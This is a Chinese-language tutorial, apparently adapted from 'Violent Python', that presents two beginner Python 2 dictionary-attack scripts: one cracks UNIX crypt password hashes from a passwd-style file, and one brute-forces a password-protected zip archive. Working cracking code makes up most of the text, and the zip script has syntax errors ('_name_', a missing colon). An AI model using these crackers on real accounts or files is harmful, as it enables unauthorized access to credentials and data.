介紹最初的兩種入門級的密碼破解方法--暴力破解方法。
UNIX口令破解機
舉例,被黑主機的用戶使用的口令明文是單詞egg和salt就是開頭兩個字節--HX。UNIX Crypt函數計算的加密口令為: crypt('egg','HX')=HX9LLTdc/jiDE。
attacker$ cat /etc/passwd victim: HX9LLTdc/jiDE: 503:100:Iama Victim/home/victims:/bin/sh root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash
由於python標準庫中已自帶有crypt庫,要計算一個加密的UNIX口令hash,只需要調用函數crypt/crypt(),並將口令和salt作為參數傳遞給他,該函數會以字符串形式返回口令的hash。
我們首先需要在main函數中打開加密口令文件'password.txt',並逐行讀取口令文件的內容。每一行的用戶名和口令hash都是分隔開的。對於每個加密口令hash的前兩個字符視為salt,並提取出來,然後打開字典並遍歷字典中的每個單詞,用每個單詞和salt計算一個新的加密口令hash,與我們加密口令做對比。
import crypt import hashlib def testPass(cryptPass): '''驗證hash是否一致''' #salt是前兩個字符 salt = cryptPass[0:2] dictFile = open("dictionary.txt",'r') for word in dictFile.readlines(): word = word.strip('\n') cryptWord = crypt.crypt(word,salt) #使用hashlib的SHA-512 hash算法 #cryptWord = hashlib.sha512(word).hexdigest() if (cryptWord == cryptPass): print "found password"+word+"\n" return print "password not found" return def main(): passFile = open("passwords.txt") for line in passFile.readlines(): if ":" in line: user = line.split(':')[0] cryptPass = line.split(":")[1].strip(' ') print "Cracking Passwod for "+user testPass(cryptPass) if __name__ == "__main__": main()
ZIP文件口令破解機
編寫zip文件口令破解機要從zipfile庫的使用方法來看。首先編寫一個腳本來測試一下zip文件庫的文件庫的用法。導入zipfile庫,用帶有口令保護的zip文件的文件名,去實例化一個zipfile類,要解壓這個zip文件,我們使用extractalla()方法,並在可選參數ped上填上口令。
import zipfile zFile = zipfile.ZipFile("evil.zip") zFile.extractall(pwd="secret")
執行腳本,將evil.zip的內容解壓到一個名為evil/的新創建的目錄中,該目錄包含有口令保護的Zip文件。
python unzip.py
用字典文件測試字典中的每個單詞。
import zipfile from threading import Thread def extractFile(zFile, password): try: zFile.extractall(pwd=password) print '[+] Found password' + password +'\n' except: pass def main() zFile = zipfile.ZipFile('evil.zip') passFile = open('dictionary.txt') for line in passFile.readlines(): password = line.strip('\n') t = Thread(target = extractFile, args = (zFile, password)) t.start() if _name_=='_main_' main()